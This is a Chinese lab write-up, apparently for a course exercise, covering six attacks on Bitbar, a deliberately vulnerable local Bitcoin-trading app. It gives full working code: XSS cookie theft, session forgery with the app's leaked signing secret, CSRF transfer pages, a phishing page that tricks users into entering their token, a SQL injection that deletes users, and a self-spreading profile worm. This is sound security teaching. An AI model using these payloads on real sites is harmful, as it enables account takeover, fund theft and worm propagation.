本文首發於 https://sec-in.com/article/441
給的是一個比特幣交易的網站,本地搭建環境之後開始按照文章中的要求來完成 6 次攻擊
網站源碼和代碼都放在這個倉庫了 https://github.com/xinyongpeng/bitbar
攻擊 1: 熱身運動: Cookie 盜竊#
根據路由
get 'profile' => 'user#view_profile'
定位到函數
def view_profile
@username = params[:username]
@user = User.find_by_username(@username)
if not @user
if @username and @username != ""
@error = "用戶 #{@username} 未找到"
elsif logged_in?
@user = @logged_in_user
end
end
render :profile
end
可以看到,輸入的 username
被直接給打印出來,那麼自然就存在 XSS 漏洞了。
payload
<script type="text/javascript">(new Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie</script>
或者使用 xmlhttprequest 發送
<script type="text/javascript">var x = new XMLHttpRequest();x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));x.send()</script>
攻擊 2: 使用 Cookies 進行會話劫持#
上圖說明了原始的 Session 對象 Session Data 是如何最終生成 Cookie 的
原來的加密過程:
- 序列化
- 填充,aes-cbc 加密,結果用 base64 編碼
- hmac-sha1 簽名
- 將加密的數據和簽名通過
--
連接
但是意外地發現,bitbar 的 cookie 並沒有 aes 加密,可以通過
- base64 解碼
- 反序列化
得到原始信息,那麼這麼一來,就只需要繞過驗簽這一個障礙了
在 config/initializers/secret_token.rb
中
# Be sure to restart your server when you modify this file.
# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.
# Make sure your secret_key_base is kept private
# if you're sharing your code publicly.
Bitbar::Application.config.secret_token = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'
這就是 hmac-sha1 的加解密密鑰
ok,到此為止我們就能偽造數據了
- 攻擊者用戶登錄,獲取到當前的 cookie
- 修改 cookie 值
這裡需要用到 mechanize
這個包,安裝
gem install mechanize
模擬登錄實現
agent = Mechanize.new #實例化對象
url = "http://localhost:3000/login"
page = agent.get(url) # 獲得網頁
form = page.forms.first # 第一個表單
form['username'] = form['password'] = 'attacker' # 填寫表單,用戶名和密碼都是attacker
agent.submit form # 提交表單
這就相當於登錄了,然後我們獲得 cookie 信息
cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)
session 如下:
{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}
很明顯, 我們只需要修改 logged_in_id
為 1 即可
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"
puts "document.cookie='#{cookie_full}';"
這時候得到的 session
document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';
然後再發送數據,比如訪問 http://localhost:3000/profile
url = URI('http://localhost:3000/profile')
http = Net::HTTP.new(url.host, url.port)
header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body
此時我們就能看到,
瀏覽器已經認為我們是 user1
了
完整代碼
require 'mechanize'
require 'net/http'
SESSION = '_bitbar_session'
RAILS_SECRET = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'
agent = Mechanize.new
url = "http://localhost:3000/login"
page = agent.get(url)
form = page.forms.first
form['username'] = form['password'] = 'attacker'
agent.submit form
cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)
puts session
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"
url = URI('http://localhost:3000/profile')
http = Net::HTTP.new(url.host, url.port)
header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body
攻擊 3: 跨站請求偽造#
分析,登錄 user1, 向 attacker 轉帳,抓到的數據包如下
可見,只需要構造一個表單自動提交即可
b.html
內容如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="pay">
<input type="hidden" name="destination_username" value="attacker">
<input type="hidden" name="quantity" value=10>
</form>
<script type="text/javascript">
function validate(){
document.getElementById("pay").submit();
}
window.load = validate();
setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
</script>
</body>
</html>
表單的字段都是隱藏的,並且值都是給定的,之後通過
document.getElementById("pay").submit();
實現自動提交
最後
setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
0.1s 後跳轉到百度首頁
也可以使用 xmlhttprequest
,一樣的思路
<html>
<body>
<script>
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=10&destination_username=attacker");
} catch (err) {
//
} finally {
window.location = "http://baidu.com/";
}
</script>
</body>
</html>
攻擊 4: 需要用戶協助的跨站請求偽造#
由於 http://localhost:3000/super_secure_transfer
轉帳的時候,表單帶上了一個隨機 token,所以沒辦法通過 CSRF
來轉帳,只能通過釣魚的辦法,欺騙用戶輸入自己的 Super Secret Token
, 這樣我們就能繞過服務器的校驗了
bp2.html
可以使用上面的代碼
bp.html
<html>
<head>
<title>23333</title>
</head>
<body>
<style type="text/css">
iframe {
width: 100%;
height: 100%;
border: none;
}
</style>
<script></script>
<iframe src="bp2.html" scrolling="no"></iframe>
</body>
</html>
bp2.html
<p>請輸入 super_secure_post_transfer 頁面下的 Super Secret Token 來證明你不是機器人</p>
<input id="token" type="text" placeholder="Captcha">
<button onClick="gotEm()">確認</button>
<script>
function gotEm() {
var token = document.getElementById("token").value;
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/super_secure_post_transfer", false);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=10&destination_username=attacker&tokeninput=" + token);
} catch (err) {
// Do nothing on inevitable XSS error
} finally {
window.top.location = "http://baidu.com";
}
}
</script>
攻擊 5: 小巴比表 (即 SQL 注入)#
刪除用戶的邏輯如下
def post_delete_user
if not logged_in?
render "main/must_login"
return
end
@username = @logged_in_user.username
User.destroy_all("username = '#{@username}'")
reset_session
@logged_in_user = nil
render "user/delete_user_success"
end
可以看到輸入的用戶名沒有經過任何的過濾直接拼接到了 SQL 語句中,我們看到後台執行的 SQL 語句
如果我們的用戶名中含有 user3 即可將 user3 刪除
那麼如果我們註冊用戶
user3' or username GLOB 'user3?*
拼接出來的 SQL 語句必然是
delete from users where username = user3 or username GLOB 'user3?*'
登錄
刪除
此時可以看到後台執行的 SQL 語句
攻擊 6: 個人資料蠕蟲#
問題出在渲染用戶的 profile 上面
profile.html.erb
中,渲染用戶的 profile
代碼如下
<% if @user.profile and @user.profile != "" %>
<div id="profile"><%= sanitize_profile(@user.profile) %></div>
<% end %>
調用的函數 sanitize_profile
def sanitize_profile(profile)
return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span), attributes: %w(id class href colspan rowspan src align valign))
end
其中 santitize
函數,通過 tags
和 attributes
可以指定允許的標籤和屬性白名單。
然而屬性中出現了 href
, 這意味著我們可以使用 JavaScript 偽協議來 XSS
參考: https://ruby-china.org/topics/28760
比如
<strong id="bitbar_count" class="javascript:alert(1)"></strong>
更新自己的 profile
時,查看自己的 profile,即可彈窗
如果有用戶瀏覽當前的 profile,那麼將會發生兩個操作
- 轉帳操作
- 更新用戶的 profile
轉帳操作的代碼如下
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=1&destination_username=attacker");
} catch (err) {
//
} finally {
//xxxx 帶執行的操作
}
轉帳完成之後,我們需要立即更新當前瀏覽用戶的 profile
設置 profile
的數據包如下
只需要向路由 /set_profile
發送請求即可
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('hax-wrap').outerHTML)));
遇到的問題:
- 發送的數據含有 html 轉移後的 & 符號。如圖
這裡我採用的是 String.fromCharCode()
來將其做一次轉換
- 字符串拼接只能用
concat
而不能用+
,因為+
號在 html 中是空格的意思
最後的代碼
<span id="wrap">
<span id="bitbar_count" class="eval(document['getElementById']('pxy')['innerHTML'])"></span>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
setTimeout(function(){
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
} catch (err) {
//
} finally {
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
}
}, 0);
10;
</span>
<p>233333</p>
</span>
ps: 也可以用 js 動態創建 form 表單的方式,但是這樣頁面是會跳轉的,無法滿足
在轉帳和 profile 的賦值過程中,瀏覽器的地址欄需要始終停留在http://localhost:3000/profile?username=x ,其中 x 是 profile 被瀏覽的用戶名。
附上 js 動態創建 form 表單的代碼
<span id="wrap">
<strong id="bitbar_count" class="eval((document['getElementById']('pxy').innerHTML))"></strong>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
function makeForm(){
var form = document.createElement("form");
form.id = "pay";
document.body.appendChild(form);
var input = document.createElement("input");
input.type = "text";
input.name = "destination_username";
input.value = "attacker";
input.type = 'hidden';
form.appendChild(input);
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "quantity";
input2.value = 10
form.appendChild(input2);
form.action = "http://localhost:3000/post_transfer";
form.method = "POST";
form.enctype = "application/x-www-form-urlencode";
form.submit();
}
makeForm();
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
</span>
</span>